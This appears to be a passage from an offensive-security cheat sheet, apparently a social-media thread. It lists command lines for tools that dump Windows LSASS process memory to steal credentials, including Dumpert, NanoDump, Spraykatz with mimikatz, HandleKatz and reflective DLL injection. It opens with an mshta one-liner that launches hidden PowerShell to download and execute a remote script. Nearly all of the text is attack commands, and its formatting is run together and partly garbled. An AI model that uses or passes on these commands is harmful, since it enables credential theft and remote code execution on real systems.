Methods:
mshta.exe javascript:A=new ActiveXObject(“WScript.Shell”).run(“powershell -nop -w hidden -c IEX (New-Object Net.WebClient).DownloadString(‘http://:/r.ps1')",0);close(); Manjusaka lsass dump#0x29 >Dumpert
Methods:
Dumpert.exe -k lsass.exe -s -o lsass.dmp#0x30 >NanoDump
Methods:
NanoDump.exe -t [process ID] -o [output file path]#0x31 >Spraykatz
Methods:
spraykatz.exe -w -u -p --krb5i --mimikatz "sekurlsa::minidump lsass.dmp" "exit"#0x32 >HandleKatz
Methods:
HandleKatz.exe -p lsass.exe HandleKatz.exe -p lsass.exe -o [handle ID] -dump#0x33 >CallBackDump
Methods:
CallbackDump.exe -d -p#0x34 > LsassSilentProcessExit
Methods:
LsassSilentProcessExit.exe#0x35 > AndrewSpecial
Methods:
AndrewSpecial andrew.dmp!#0x36 >Masky
Methods:
.\Masky.exe /ca:’CA SERVER\CA NAME’ (/template:User) (/currentUser) (/output:./output.txt) (/debug:./debug.txt)#0x37 >SharpMiniDump
Methods:
SharpMiniDump.exe -p -o lsass.dmp#0x38 >MiniDump
Methods:
MiniDump.exe /p /o#0x39 >LsassDumpReflectiveDll
Methods:
Import-Module .\ReflectiveLsassDump.dll Invoke-ReflectivePEInjection -PEBytes (Get-Content ReflectiveLsassDump.dll -Encoding Byte) -ProcessID (Get-Process lsass).Id#0x40 >MoonSols Windows Memory Toolkit
Methods:
MoonSolsWindowsMemoryToolkit.exe Dumping->Launch DumpIt LSASS->Select the process to dump#lass
@PfkSecurity